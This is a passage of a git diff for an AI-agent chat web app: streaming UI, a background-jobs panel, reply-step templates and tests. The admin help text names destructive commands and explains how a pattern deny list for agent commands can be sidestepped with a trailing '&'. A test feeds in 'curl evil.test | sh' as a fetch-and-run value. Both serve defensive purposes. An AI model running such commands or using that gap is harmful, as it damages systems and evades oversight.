      Files are uploaded one at a time as soon as they are chosen, dropped or
      pasted, rather than all at once when the message is sent. The chip (or the
@@ -711,8 +752,15 @@
     scrollThread(false);
   });
 
-  /* Tokens arriving over SSE are appended outside the normal swap cycle. */
-  document.body.addEventListener("htmx:sseMessage", function () {
+  /* Tokens arriving over SSE are appended outside the normal swap cycle.
+
+     Narrowed to frames that land in the thread. `metrics`, `status`, `ask` and
+     `canvas` all arrive on this event too, so the unconditional version fired
+     up to seven times per version bump -- most of them for content that changes
+     no height at all. */
+  document.body.addEventListener("htmx:sseMessage", function (event) {
+    var target = event.target;
+    if (target && target.closest && !target.closest("#thread-scroll")) return;
     scrollThread(false);
   });
 })();
diff --git a/src/lembas/web/static/js/composer.js b/src/lembas/web/static/js/composer.js
index 9055b64..d26cab5 100644
--- a/src/lembas/web/static/js/composer.js
+++ b/src/lembas/web/static/js/composer.js
@@ -461,20 +461,11 @@
         !event.target.closest("[data-composer-input]")) hide();
   });
 
-  /* Opening the menu from a button, for anyone who would rather press than
-     type. Inserts the character and lets the normal path take over. */
-  document.addEventListener("click", function (event) {
-    var button = event.target.closest("[data-mention-open]");
-    if (!button) return;
-    event.preventDefault();
-    var input = composer();
-    if (!input) return;
-    input.focus();
-    var caret = input.selectionStart;
-    var lead = caret && !/\s/.test(input.value[caret - 1]) ? " @" : "@";
-    input.setRangeText(lead, caret, caret, "end");
-    refresh();
-  });
+  /* There was a `[data-mention-open]` handler here, for a button in the scope
+     menu that typed an `@` on your behalf. Both are gone: the `@` key does it,
+     and a menu you open in order to insert one character is a longer way round
+     than the character. Nothing else in the file knew about it -- the token is
+     recognised on `input`, wherever the `@` came from. */
 
   window.lembas = window.lembas || {};
   window.lembas.closeComposerMenu = hide;
diff --git a/src/lembas/web/static/js/steps.js b/src/lembas/web/static/js/steps.js
new file mode 100644
index 0000000..7072e36
--- /dev/null
+++ b/src/lembas/web/static/js/steps.js
@@ -0,0 +1,86 @@
+/*
+  Keeping an opened block open while the reply is still being written.
+
+  The steps container is swapped with innerHTML every time a round closes, and
+  the `done` frame replaces the whole bubble at the end. Both tear down every
+  <details> inside and build new ones, so anything the reader had expanded shut
+  itself again -- which, at up to twelve frames a second, made a tool block
+  impossible to open at all rather than merely annoying to.
+
+  The fix is to write down which are open before the swap and put them back
+  after. It works because the ids are stable: `tool-{message}-{step}-{n}` and
+  `think-{message}-{step}` are built from the mark index, the marks are
+  append-only, and the finished bubble emits the same ids the live one did. See
+  services/steps.py.
+
+  Not `hx-preserve`: that keeps a node and its contents, and these nodes have to
+  update. Not a CSS checkbox either -- the input would live inside the container
+  being replaced, so it would be destroyed with everything else.
+*/
+(function () {
+  "use strict";
+
+  /* Keyed by container id, so two replies streaming into one page cannot read
+     each other's state. */
+  var open = {};
+
+  function remember(box) {
+    var ids = [];
+    box.querySelectorAll("details[id][open]").forEach(function (details) {
+      ids.push(details.id);
+    });
+    open[box.id || "steps"] = ids;
+  }
+
+  function restore(box) {
+    (open[box.id || "steps"] || []).forEach(function (id) {
+      /* CSS.escape, never concatenation into a selector: an id is built from a
+         message id and two integers today, but a selector assembled by hand is
+         how that stops being true safely. */
+      var found = box.querySelector("details[id='" + cssEscape(id) + "']");
+      if (found) found.open = true;
+    });
+  }
+
+  function cssEscape(value) {
+    return window.CSS && window.CSS.escape ? window.CSS.escape(value) : value;
+  }
+
+  function container(target) {
+    if (!target || !target.closest) return null;
+    return target.closest("[data-steps]");
+  }
+
+  /* Cancellable: the SSE extension reads what listeners return to decide
+     whether to swap at all. So nothing here may cancel the event -- doing so
+     would freeze the transcript with no error anywhere. There is a test on it,
+     which matches the source, comments included. */
+  document.body.addEventListener("htmx:sseBeforeMessage", function (event) {
+    var box = container(event.target);
+    if (box) remember(box);
+  });
+
+  document.body.addEventListener("htmx:sseMessage", function (event) {
+    var box = container(event.target);
+    if (box) restore(box);
+  });
+
+  /* The `done` frame swaps the whole <article> with outerHTML, so the element
+     that comes back is a different one carrying the same id -- the finished
+     bubble's container repeats both the id and the marker for exactly this
+     reason. Before the swap the old box is still reachable under the target;
+     after it, the safe move is to look again across the page, because what
+     `afterSwap` hands back for an outerHTML swap is not reliably the new node.
+     Restoring every container is harmless: what is remembered is keyed on the
+     container's own id. */
+  document.body.addEventListener("htmx:beforeSwap", function (event) {
+    var box = event.target && event.target.querySelector
+      ? event.target.querySelector("[data-steps]")
+      : null;
+    if (box) remember(box);
+  });
+
+  document.body.addEventListener("htmx:afterSwap", function () {
+    document.querySelectorAll("[data-steps]").forEach(restore);
+  });
+})();
diff --git a/src/lembas/web/templates/admin/agents.html b/src/lembas/web/templates/admin/agents.html
index 2079401..c9c4600 100644
--- a/src/lembas/web/templates/admin/agents.html
+++ b/src/lembas/web/templates/admin/agents.html
@@ -96,7 +96,12 @@
         Checked before everything, including <strong>Auto</strong>. Treat it as
         a guard against an accident rather than against an adversary:
         <code>rm -rf /*</code> here does not stop <code>/bin/rm -rf /</code>, and
-        nothing pattern-shaped could.
+        nothing pattern-shaped could. The same limit as above applies, and it
+        cuts the other way here: a command line that runs more than one thing
+        matches none of these, so in <strong>Auto</strong>
+        <code>shutdown -h now</code> asks and <code>shutdown -h now &amp;</code>
+        runs. Anything that must never happen belongs on the far side, in that
+        account’s own permissions.
       </p>
     </div>
   </section>
diff --git a/src/lembas/web/templates/chat/_composer.html b/src/lembas/web/templates/chat/_composer.html
index 18736a1..c535df8 100644
--- a/src/lembas/web/templates/chat/_composer.html
+++ b/src/lembas/web/templates/chat/_composer.html
@@ -153,8 +153,15 @@
 
             This slot used to be an `@` button that inserted the character and
             got out of the way -- which the `@` key already does, from the
-            keyboard, without a button. Typing `@` is untouched; composer.js
-            recognises the token on its own and knows nothing about this menu.
+            keyboard, without a button. It then kept that as a row inside the
+            menu, which was the same redundancy one level down: a menu you open
+            to press a button that types one character. Both are gone. Typing
+            `@` is untouched; composer.js recognises the token on its own and
+            knows nothing about this menu.
+
+            With the row gone there is nothing to show on a chat with no scope,
+            so the guard is `has_scope` alone rather than `has_scope or can
+            upload`. An empty menu is worse than no button.
 
             The rows are `<label>`s wrapping a checkbox and deliberately carry
             no `role="menuitem"`: ui.js closes a picker when a menuitem is
@@ -170,17 +177,16 @@
             exists, and a switch that went nowhere is worse than no switch.
           #}
           {% set has_scope = chat and (scope_families or scope_skills or scope_allow) %}
-          {% if has_scope or can.get("files.upload") %}
+          {% if has_scope %}
           <div class="picker picker--up" data-picker>
             <button class="btn btn--icon composer__btn" type="button" data-picker-toggle
                     aria-haspopup="menu" aria-expanded="false"
-                    aria-label="{{ 'What this chat can use' if has_scope else 'Mention a file' }}"
-                    title="{{ 'What this chat can use' if has_scope else 'Mention a file' }}">
-              {{ icon("sliders" if has_scope else "at") }}
+                    aria-label="Toggle" title="Toggle">
+              {{ icon("sliders") }}
             </button>
 
             <div class="picker__menu picker__menu--scope" data-picker-menu role="menu"
-                 hidden aria-label="What this chat can use">
+                 hidden aria-label="Toggle">
               {% if has_scope %}
               <p class="picker__lede">
                 Switched off here only. Everything is on unless you say otherwise.
@@ -246,24 +252,6 @@
               </div>
               {% endif %}
 
-              {# The affordance the `@` button used to be, kept as one row so
-                 nothing is lost by replacing the button -- and it is what this
-                 menu holds on a chat that does not exist yet, where there is no
-                 scope to narrow.
-
-                 This one DOES carry role="menuitem", unlike the switches above:
-                 it is an action, so ui.js closing the picker after it is
-                 exactly right. #}
-              {% if can.get("files.upload") %}
-              <button class="picker__option" type="button" role="menuitem"
-                      data-mention-open>
-                {{ icon("at", "icon--sm") }}
-                <span class="picker__option-body">
-                  <span class="picker__option-name">Mention a file or a document</span>
-                  <span class="picker__option-note">Or just type @</span>
-                </span>
-              </button>
-              {% endif %}
             </div>
           </div>
           {% endif %}
@@ -357,6 +345,19 @@
             {% endfor %}
           </select>
         </div>
+
+        {# What is still running on the far side. Only where jobs can exist at
+           all -- a chat without background commands enabled has none, and a chip
+           that could never show anything is a chip that only takes room.
+
+           `hx-trigger="load"` and not the contents inline: the listing reads the
+           `agent_jobs` table, and the composer is rendered on every page load
+           and after every reply. One request five seconds later costs nothing;
+           a query on the render path costs it every time. #}
+        {% if jobs_enabled %}
+        <div hx-get="/api/chats/{{ chat.id }}/jobs" hx-trigger="load"
+             hx-swap="outerHTML"></div>
+        {% endif %}
         {% endif %}
 
         {#
diff --git a/src/lembas/web/templates/chat/_jobs_chip.html b/src/lembas/web/templates/chat/_jobs_chip.html
new file mode 100644
index 0000000..1b48f65
--- /dev/null
+++ b/src/lembas/web/templates/chat/_jobs_chip.html
@@ -0,0 +1,37 @@
+{% from "_macros.html" import icon %}
+{#
+  How many commands are still running on the far side.
+
+  Rendered even at zero, and that is not a stylistic choice: this element
+  carries the `hx-trigger` that polls, so a fragment that collapsed to nothing
+  would replace itself with nothing and stop polling -- the first job started
+  afterwards would never appear, and the chip would look broken in exactly the
+  way a background job is hardest to notice.
+
+  Swapped `outerHTML` onto itself, so the reply is the whole element including
+  the trigger. Every response has to be a complete chip for the same reason.
+#}
+<div class="composer__jobs" id="jobs-chip"
+     hx-get="/api/chats/{{ chat.id }}/jobs"
+     hx-trigger="every 5s"
+     hx-swap="outerHTML">
+  {% if running %}
+  <div class="picker picker--up" data-picker>
+    <button class="btn btn--sm composer__chip composer__chip--jobs" type="button"
+            data-picker-toggle aria-haspopup="menu" aria-expanded="false"
+            hx-get="/api/chats/{{ chat.id }}/jobs/panel"
+            hx-target="#jobs-panel" hx-swap="innerHTML"
+            title="{{ running }} background {{ 'job' if running == 1 else 'jobs' }} running">
+      {{ icon("clock", "icon--sm") }}
+      <span>{{ running }} {{ 'job' if running == 1 else 'jobs' }}</span>
+    </button>
+
+    {# Filled by the button above rather than rendered here: the panel needs one
+       SSH round trip per expanded log, and the chip is polled every five
+       seconds. Rendering it inside the poll would fetch output nobody has
+       opened, on a loop. #}
+    <div class="picker__menu picker__menu--jobs" data-picker-menu role="menu"
+         hidden aria-label="Background jobs" id="jobs-panel"></div>
+  </div>
+  {% endif %}
+</div>
diff --git a/src/lembas/web/templates/chat/_jobs_panel.html b/src/lembas/web/templates/chat/_jobs_panel.html
new file mode 100644
index 0000000..dcd637d
--- /dev/null
+++ b/src/lembas/web/templates/chat/_jobs_panel.html
@@ -0,0 +1,75 @@
+{% from "_macros.html" import icon %}
+{#
+  What is running on the far side, and what it has printed.
+
+  EVERYTHING here came off somebody else's machine and is untrusted exactly as
+  much as model output is: the command was written by a model, the log is
+  whatever the command printed. Jinja autoescaping covers the lot, and the log
+  is `<pre>` rather than anything that could emit HTML -- services/markdown.py is
+  the one path allowed to do that, and this is the last content that should be
+  given it.
+
+  Not polled. The chip beside the composer is what refreshes on a timer; this is
+  fetched when somebody opens it and re-rendered when they press something,
+  because reading a log is an SSH round trip per job and nobody is looking at
+  most of them.
+#}
+{% if not jobs %}
+<p class="picker__lede">Nothing is running.</p>
+{% else %}
+<p class="picker__group">Background jobs</p>
+
+{% for job in jobs %}
+<div class="jobs__row{{ ' jobs__row--open' if open_job == job.id }}">
+  <div class="jobs__head">
+    <span class="jobs__dot jobs__dot--{{ job.status }}"
+          title="{{ job.status }}{% if job.exit_status is not none %} ({{ job.exit_status }}){% endif %}"></span>
+
+    {# The whole command in the title, a truncated one on screen. A command line
+       is unbounded and this sits in a menu with a fixed width; CSS truncates,
+       and the title is how you read the rest. #}
+    <button class="jobs__command" type="button"
+            title="{{ job.command }}"
+            hx-get="/api/chats/{{ chat.id }}/jobs/panel{% if open_job != job.id %}?job={{ job.id }}{% endif %}"
+            hx-target="#jobs-panel" hx-swap="innerHTML">
+      <code>{{ job.command or "(no command recorded)" }}</code>
+    </button>
+
+    {% if job.running %}
+    <button class="btn btn--sm btn--danger jobs__stop" type="button"
+            hx-post="/api/chats/{{ chat.id }}/jobs/{{ job.id }}/stop"
+            hx-target="#jobs-panel" hx-swap="innerHTML"
+            data-confirm-button="Stop this job? It and everything it started are killed.">
+      Stop
+    </button>
+    {% endif %}
+  </div>
+
+  <p class="jobs__meta">
+    {% if job.running %}
+      Running
+    {% elif job.status == "killed" %}
+      Stopped
+    {% elif job.status == "lost" %}
+      {# The far side has no record of it: the host rebooted, or /tmp was
+         cleared. Said plainly rather than shown as a failure, because nothing
+         failed -- we simply cannot say how it ended. #}
+      No longer traceable
+    {% elif job.exit_status %}
+      Failed, exit {{ job.exit_status }}
+    {% else %}
+      Finished
+    {% endif %}
+    {% if job.started_at %}· started {{ job.started_at.strftime("%H:%M") }}{% endif %}
+  </p>
+
+  {% if open_job == job.id %}
+  {% if error %}
+  <p class="jobs__error">{{ error }}</p>
+  {% else %}
+  <pre class="jobs__log">{{ body or "Nothing printed yet." }}</pre>
+  {% endif %}
+  {% endif %}
+</div>
+{% endfor %}
+{% endif %}
diff --git a/src/lembas/web/templates/chat/_message.html b/src/lembas/web/templates/chat/_message.html
index f6210b9..24390b3 100644
--- a/src/lembas/web/templates/chat/_message.html
+++ b/src/lembas/web/templates/chat/_message.html
@@ -95,28 +95,16 @@
     {% endif %}
 
     {% if streaming %}
-      {# Reasoning arrives before the answer, so this block sits above it.
-         Closed by default -- the answer is what the reader is waiting for, and
-         the thinking is one click away. The :has() rule in chat.css hides the
-         whole thing while it is still empty, so models that emit no reasoning
-         never show an empty box. #}
-      <details class="reasoning reasoning--live" id="reasoning-{{ message.id }}">
-        <summary class="reasoning__summary">
-          {{ icon("sparkle", "icon--sm reasoning__icon") }}
-          <span class="reasoning__label">Thinking…</span>
-          {{ icon("chevron-down", "icon--sm reasoning__chevron") }}
-        </summary>
-        {# innerHTML, not beforeend: the frame carries the whole block of
-           thinking each time, exactly as `render` and `tools` do. Appending it
-           repeated everything already shown, so the panel grew quadratically. #}
-        <div class="reasoning__body" sse-swap="reasoning" hx-swap="innerHTML"></div>
-      </details>
-
-      {# Tool activity as it happens. Empty until the model asks for something,
-         and the whole block is replaced each time rather than appended to --
-         a follower attaching late has no earlier fragments to build on. #}
-      <div class="tool-activity-list" id="tools-{{ message.id }}"
-           sse-swap="tools" hx-swap="innerHTML"></div>
+      {# The reply as a sequence of steps, in the order they happened. The
+         closed ones are re-sent only when a round ends; the two live containers
+         come with them, inside `_steps.html`, which is how the tail blanks
+         itself. See services/steps.py. #}
+      <div class="msg__steps" id="steps-{{ message.id }}" data-steps
+           sse-swap="steps" hx-swap="innerHTML">
+        {% with steps = [], live = true %}
+          {% include "chat/_steps.html" %}
+        {% endwith %}
+      </div>
 
       {# Where a question from the model, or a command waiting to be allowed,
          lands. Unlike the blocks above it this frame is sent on every version
@@ -126,11 +114,6 @@
       <div class="interaction-slot" id="ask-{{ message.id }}"
            sse-swap="ask" hx-swap="innerHTML"></div>
 
-      {# The server re-renders the answer as Markdown a few times a second and
-         replaces this whole block, so formatting appears as the model writes
-         rather than snapping into place at the end. #}
-      <div class="msg__body msg__body--live" id="stream-{{ message.id }}"
-           sse-swap="render" hx-swap="innerHTML"></div>
       {# No stop button here: the composer's send button becomes Stop while a
          reply is being written, which is where the hand already is. #}
       <div class="msg__waiting">
@@ -145,34 +128,26 @@
       <div class="msg__metrics" id="metrics-{{ message.id }}"
            sse-swap="metrics" hx-swap="innerHTML"></div>
     {% else %}
-      {# Finished. Same order as the live view above -- thinking, then what it
-         looked up, then the answer -- so a reply does not rearrange itself the
-         moment it stops streaming. #}
-      {% if message.reasoning and not message.error %}
-      {# Collapsed once finished: the answer is what the reader came for, and
-         the thinking is there if they want to audit it. #}
-      <details class="reasoning" id="reasoning-{{ message.id }}">
-        <summary class="reasoning__summary">
-          {{ icon("sparkle", "icon--sm reasoning__icon") }}
-          <span class="reasoning__label">
-            {% if message.reasoning_ms %}
-              Thought for {{ message.reasoning_ms | duration }}
-            {% else %}
-              Reasoning
-            {% endif %}
-          </span>
-          {{ icon("chevron-down", "icon--sm reasoning__chevron") }}
-        </summary>
-        <div class="reasoning__body">{{ message.reasoning }}</div>
-      </details>
-      {% endif %}
+      {# Finished, and rendered from the same partial the live view uses so the
+         bubble cannot rearrange itself the moment the stream ends.
 
-      {% if message.tool_calls_json %}
-      {# Kept with the message rather than discarded with the stream, so the
+         `message_steps` is a Jinja global rather than something each handler
+         passes, for the reason `tool_label` is: this template is rendered from
+         four different places and a fifth thing to remember is a fifth thing one
+         of them forgets. A reply written before the marks existed has none, and
+         `steps.py` answers that with the old layout exactly -- thinking, then
+         every tool block, then the whole answer.
+
+         Kept with the message rather than discarded with the stream, so the
          sources behind an answer are still there tomorrow. #}
-      <div class="tool-activity-list">
-        {% with tool_events = message.tool_calls_json, live = false %}
-          {% include "chat/_tool_activity.html" %}
+      {% if message.role == "assistant" %}
+      {# The same id and the same marker as the live container. That is what
+         carries an opened block across the `done` frame, which replaces the
+         whole bubble: steps.js keys what it remembers on this id, and the ids
+         inside come from the mark index either way. #}
+      <div class="msg__steps" id="steps-{{ message.id }}" data-steps>
+        {% with steps = message_steps(message), live = false %}
+          {% include "chat/_steps.html" %}
         {% endwith %}
       </div>
       {% endif %}
@@ -188,9 +163,6 @@
       {% endif %}
 
       {% if message.role == "assistant" %}
-        {% if message.content %}
-        <div class="msg__body">{{ body_html|safe }}</div>
-        {% endif %}
         {% if message.stopped %}
         <p class="msg__note">{{ icon("x", "icon--sm") }} Stopped. This reply is cut short.</p>
         {% endif %}
diff --git a/src/lembas/web/templates/chat/_metrics.html b/src/lembas/web/templates/chat/_metrics.html
index 2b5256c..b2b68df 100644
--- a/src/lembas/web/templates/chat/_metrics.html
+++ b/src/lembas/web/templates/chat/_metrics.html
@@ -7,15 +7,20 @@
   at about four characters per token. Nothing here is ever shown as exact when
   it is not.
 #}
+{# The first chip is what the reply COST and the second is what it OCCUPIES.
+   They are different numbers and a multi-round reply makes them very different
+   -- it pays for its prompt once per round and only ever sits in the window
+   once -- so each title says which it is. Without that, two token counts a few
+   centimetres apart just look like one of them is wrong. #}
 {% if metrics.has_anything %}
 <span class="metric" title="{% if metrics.estimated %}Estimated: this endpoint reports no token counts.
-{% endif %}{{ metrics.prompt_tokens }} in, {{ metrics.completion_tokens }} out{% if metrics.rounds > 1 %}, over {{ metrics.rounds }} rounds of tool calls{% endif %}">
+{% endif %}What this reply cost: {{ metrics.prompt_tokens }} in, {{ metrics.completion_tokens }} out{% if metrics.rounds > 1 %}, the prompt paid for once in each of {{ metrics.rounds }} rounds of tool calls{% endif %}">
   {% if metrics.estimated %}~{% endif %}{{ metrics.total_tokens }} tokens
 </span>
 
 {% if metrics.context_limit %}
 <span class="metric metric--context{{ ' is-' ~ metrics.pressure if metrics.pressure }}"
-      title="{% if metrics.estimated %}Estimated. {% endif %}{{ metrics.context_tokens }} of {{ metrics.context_limit }} tokens of context used">
+      title="{% if metrics.estimated %}Estimated. {% endif %}What the conversation now occupies: {{ metrics.context_tokens }} of {{ metrics.context_limit }} tokens">
   <span class="metric__bar">
     {# A width is data, not a design value: it is the measurement itself. #}
     <span class="metric__fill" style="width: {{ metrics.percent }}%"></span>
diff --git a/src/lembas/web/templates/chat/_step.html b/src/lembas/web/templates/chat/_step.html
new file mode 100644
index 0000000..b4ba45f
--- /dev/null
+++ b/src/lembas/web/templates/chat/_step.html
@@ -0,0 +1,49 @@
+{% from "_macros.html" import icon %}
+{#
+  One step of a reply: what the model thought, what it said, or what it ran.
+
+  The only `|safe` here is `step.html`, which came out of `services/markdown.py`
+  and is the one path allowed to emit HTML. Thinking is printed as text and
+  autoescaped by Jinja; tool events go through `_tool_activity.html`, which
+  escapes everything for itself.
+
+  Ids are `think-{message}-{index}` and, inside the tool block,
+  `tool-{message}-{index}-{n}`. The index is the position of the mark this step
+  came from and the marks are append-only, so an id means the same step for ever
+  -- live, and again in the finished bubble that replaces it.
+#}
+{% if step.kind == "thinking" %}
+  {# Collapsed. The answer is what the reader is waiting for and the thinking is
+     one click away -- and on a long agent reply there are a dozen of these, so
+     any other default would bury the work between them. #}
+  <details class="reasoning" id="think-{{ message.id }}-{{ step.index }}">
+    <summary class="reasoning__summary">
+      {{ icon("sparkle", "icon--sm reasoning__icon") }}
+      <span class="reasoning__label">
+        {% if step.index == 0 and message.reasoning_ms %}
+          {# The duration is for the whole reply, so only the first block may
+             claim it. Repeating it on each would be four blocks each saying
+             they took ninety seconds. #}
+          Thought for {{ message.reasoning_ms | duration }}
+        {% else %}
+          Thought
+        {% endif %}
+      </span>
+      {{ icon("chevron-down", "icon--sm reasoning__chevron") }}
+    </summary>
+    <div class="reasoning__body">{{ step.text }}</div>
+  </details>
+
+{% elif step.kind == "text" %}
+  {# `--live` only on the step still being written, so the caret lands at the end
+     of the reply rather than after every paragraph that preceded a tool call. #}
+  <div class="msg__body{{ ' msg__body--live' if step.open }}">{{ step.html|safe }}</div>
+
+{% else %}
+  <div class="tool-activity-list">
+    {% with tool_events = step.events, message_id = message.id,
+            step_index = step.index, live = step.open %}
+      {% include "chat/_tool_activity.html" %}
+    {% endwith %}
+  </div>
+{% endif %}
diff --git a/src/lembas/web/templates/chat/_steps.html b/src/lembas/web/templates/chat/_steps.html
new file mode 100644
index 0000000..6dfc309
--- /dev/null
+++ b/src/lembas/web/templates/chat/_steps.html
@@ -0,0 +1,22 @@
+{#
+  A reply as the sequence it was: thinking, prose, a tool call, more prose.
+
+  Used by BOTH branches of `_message.html` -- the streaming shell and the
+  finished bubble -- from the same builder, so a reply cannot rearrange itself
+  the moment the stream ends. That was the point of putting the marks on the row
+  rather than only on the running generation.
+
+  When `live`, the two containers for the step still being written come last, and
+  they are part of *this* fragment rather than of `_message.html`. That is what
+  lets the tail clear itself: the `steps` frame is sent whenever a round closes
+  and re-emits them empty, so the prose and thinking that have just become a
+  closed step above do not also linger below. `reasoning` and `render` keep their
+  "never send an empty one" guard, and `metrics`, `status` and `ask` remain the
+  only frames allowed to blank what is on screen.
+#}
+{% for step in steps %}
+  {% include "chat/_step.html" %}
+{% endfor %}
+{% if live %}
+  {% include "chat/_steps_tail.html" %}
+{% endif %}
diff --git a/src/lembas/web/templates/chat/_steps_tail.html b/src/lembas/web/templates/chat/_steps_tail.html
new file mode 100644
index 0000000..612e2b5
--- /dev/null
+++ b/src/lembas/web/templates/chat/_steps_tail.html
@@ -0,0 +1,29 @@
+{% from "_macros.html" import icon %}
+{#
+  The step still being written: everything past the last mark.
+
+  These two are the only things that move at streaming speed. Everything above
+  them is closed and is re-sent only when a round ends, which is what keeps a
+  forty-round reply from re-rendering its whole transcript twelve times a second.
+
+  Both carry the complete block each time rather than a delta -- that is what
+  makes reattaching to a reply in progress work at all, since a follower arriving
+  late has no earlier fragments to append to.
+
+  The reasoning wrapper is static and only its body is swapped, so a reader who
+  opens it keeps it open for as long as this step lasts. When the round closes it
+  becomes a `think-…` block above and comes back collapsed; that is a real seam
+  and it is left visible rather than papered over with a mapping from an
+  ephemeral id to a permanent one.
+#}
+<details class="reasoning reasoning--live" id="reasoning-{{ message.id }}">
+  <summary class="reasoning__summary">
+    {{ icon("sparkle", "icon--sm reasoning__icon") }}
+    <span class="reasoning__label">Thinking…</span>
+    {{ icon("chevron-down", "icon--sm reasoning__chevron") }}
+  </summary>
+  <div class="reasoning__body" sse-swap="reasoning" hx-swap="innerHTML"></div>
+</details>
+
+<div class="msg__body msg__body--live" id="stream-{{ message.id }}"
+     sse-swap="render" hx-swap="innerHTML"></div>
diff --git a/src/lembas/web/templates/chat/_tool_activity.html b/src/lembas/web/templates/chat/_tool_activity.html
index a7fafa3..c85e3d9 100644
--- a/src/lembas/web/templates/chat/_tool_activity.html
+++ b/src/lembas/web/templates/chat/_tool_activity.html
@@ -27,9 +27,23 @@
   so a resolver that preferred the stored value would leave every existing
   transcript saying "homeserver" where it means "Bash".
 #}
+{#
+  `message_id` and `step_index` place this block in the reply, and an id is
+  emitted only when the caller gave one. That is not defensiveness: an id is
+  what carries an *opened* block across a swap, and a caller with no message to
+  key on would emit the same id in every bubble on the page, which is worse than
+  emitting none. `_step.html` always passes one.
+
+  `steps.js` records which of these are open before a swap and puts them back
+  after. It works because the id is stable -- the step index comes from a mark,
+  the marks are append-only, and the finished bubble emits exactly what the live
+  one did, so a block opened at round three is still open after the `done` frame
+  replaces the whole article.
+#}
 {% for event in tool_events %}
 {% set kind = event.kind or ('search' if event.name == 'web_search' else 'tool') %}
-<details class="tool-activity {{ 'tool-activity--error' if event.status == 'error' }}">
+<details class="tool-activity {{ 'tool-activity--error' if event.status == 'error' }}"
+         {% if message_id | default('') %}id="tool-{{ message_id }}-{{ step_index | default(0) }}-{{ loop.index0 }}"{% endif %}>
   <summary class="tool-activity__summary">
     {{ icon(tool_icon(event), "icon--sm tool-activity__icon") }}
 
diff --git a/src/lembas/web/templates/chat/index.html b/src/lembas/web/templates/chat/index.html
index 2480edb..af3f6ee 100644
--- a/src/lembas/web/templates/chat/index.html
+++ b/src/lembas/web/templates/chat/index.html
@@ -344,6 +344,9 @@
 {% endblock %}
 
 {% block scripts %}
+{# Unconditional: every chat has a transcript, and this is what keeps a block
+   somebody opened open across the swaps that arrive twelve times a second. #}
+<script src="{{ url_for('static', path='js/steps.js') }}" defer></script>
 {% if canvas_enabled %}
 <script src="{{ url_for('static', path='js/canvas.js') }}" defer></script>
 {% endif %}
diff --git a/src/lembas/web/templating.py b/src/lembas/web/templating.py
index c00ecbf..4582754 100644
--- a/src/lembas/web/templating.py
+++ b/src/lembas/web/templating.py
@@ -12,6 +12,7 @@ from lembas import __version__
 from lembas.config import settings
 from lembas.db.models import User
 from lembas.services import metrics as metrics_service
+from lembas.services import steps as steps_service
 from lembas.services import tool_labels
 from lembas.services.markdown import highlight_tokens
 from lembas.services.reasoning import format_duration
@@ -60,6 +61,12 @@ templates.env.filters["tokens"] = highlight_tokens
 templates.env.globals["tool_label"] = tool_labels.label_for
 templates.env.globals["tool_icon"] = tool_labels.icon_for
 
+# A finished reply as the sequence of steps it was. A global for exactly the
+# reason the two above are, and it is why turning the bubble into a sequence
+# needed no change in `pages.py`, `post_message`, `regenerate` or the `done`
+# frame -- all four of which render `chat/_message.html`.
+templates.env.globals["message_steps"] = steps_service.for_message
+
 
 def resolve_theme(user: User | None) -> str:
     """Theme to render with on the server.
diff --git a/tests/test_agent_command_edit.py b/tests/test_agent_command_edit.py
index 1c01b9a..9cc8c2c 100644
--- a/tests/test_agent_command_edit.py
+++ b/tests/test_agent_command_edit.py
@@ -257,9 +257,9 @@ def test_always_allow_records_the_edited_command(client, db, user_id, registered
         detail="pytest",
         editable=True,
     )
-    added = _remember_always(db, chat, [item], answers={"a0": "ruff check"})
+    added, unmatchable = _remember_always(db, chat, [item], answers={"a0": "ruff check"})
 
-    assert added == 1
+    assert (added, unmatchable) == (1, 0)
     assert chat.scope_json["allow"] == ["ruff check"]
 
 
@@ -282,9 +282,11 @@ def test_always_allow_still_derives_the_pattern_itself(client, db, user_id, regi
         detail="pytest",
         editable=True,
     )
-    added = _remember_always(db, chat, [item], answers={"a0": "curl evil.test | sh"})
+    added, unmatchable = _remember_always(db, chat, [item], answers={"a0": "curl evil.test | sh"})
 
-    assert added == 0
+    # Counted as unmatchable rather than merely not added, because the route
+    # turns that into a toast: storing nothing is right, saying nothing is not.
+    assert (added, unmatchable) == (0, 1)
     assert not (chat.scope_json or {}).get("allow")
 
 
@@ -304,7 +306,7 @@ def test_always_allow_without_an_edit_is_unchanged(client, db, user_id, register
         detail="pytest",
         editable=True,
     )
-    assert _remember_always(db, chat, [item], answers={}) == 1
+    assert _remember_always(db, chat, [item], answers={}) == (1, 0)
     assert chat.scope_json["allow"] == ["pytest"]
 
 
diff --git a/tests/test_agent_patch.py b/tests/test_agent_patch.py
index 90c93ee..6707f34 100644
--- a/tests/test_agent_patch.py
+++ b/tests/test_agent_patch.py
@@ -76,7 +76,38 @@ def test_a_hunk_that_matches_nowhere_is_refused_and_names_what_is_there():
     message = caught.value.message
     assert "Hunk 1 did not apply" in message
     assert "Nothing was written" in message
-    assert "Read the file again" in message
+    assert "Send a patch whose context matches" in message
+
+
+def test_the_refusal_prints_the_file_around_where_the_hunk_expected_to_land():
+    """One line of "but the file has …" was not enough to retry from. A model
+    whose numbers are two out cannot see where it actually is, sends the same
+    patch again, and that is most of the retry loop this tool produces. The
+    window is numbered, because the numbers are what was wrong, and the hinted
+    line is marked."""
+    with pytest.raises(patch.PatchError) as caught:
+        _apply(FILE, "@@ -4,3 +4,3 @@\n nothing\n-like this\n+new\n at all\n")
+
+    message = caught.value.message
+    assert "->     4  line 4" in message, message
+    assert "     3  line 3" in message, "and what is on either side of it"
+    assert "     5  line 5" in message
+
+
+def test_a_hunk_past_the_end_is_told_where_the_end_is():
+    """"(past the end of the file)" said the position was wrong without saying
+    what would have been right, which is the same dead end one line further on."""
+    with pytest.raises(patch.PatchError) as caught:
+        _apply("one\ntwo\n", "@@ -40,3 +40,3 @@\n nothing\n-like this\n+new\n at all\n")
+
+    assert "the file ends at line 2" in caught.value.message
+
+
+def test_an_empty_file_says_that_rather_than_printing_nothing():
+    with pytest.raises(patch.PatchError) as caught:
+        _apply("", "@@ -1,3 +1,3 @@\n nothing\n-like this\n+new\n at all\n")
+
+    assert "the file is empty" in caught.value.message
 
 
 def test_ambiguous_context_is_refused_rather_than_guessed_at():
diff --git a/tests/test_agent_plan.py b/tests/test_agent_plan.py
index 63443a7..9dcc28a 100644
--- a/tests/test_agent_plan.py
+++ b/tests/test_agent_plan.py
@@ -432,9 +432,10 @@ async def test_a_finished_plan_is_believed(db, owner, monkeypatch):
     assert len(seen) == 1
 
 
-async def test_a_chat_with_no_plan_is_never_nudged(db, owner, monkeypatch):
-    """There is nothing to be objectively wrong about, so a model that says it
-    has finished is believed."""
+async def test_a_short_answer_with_no_plan_is_believed(db, owner, monkeypatch):
+    """Somebody asking a question in an agent chat and getting two lines back has
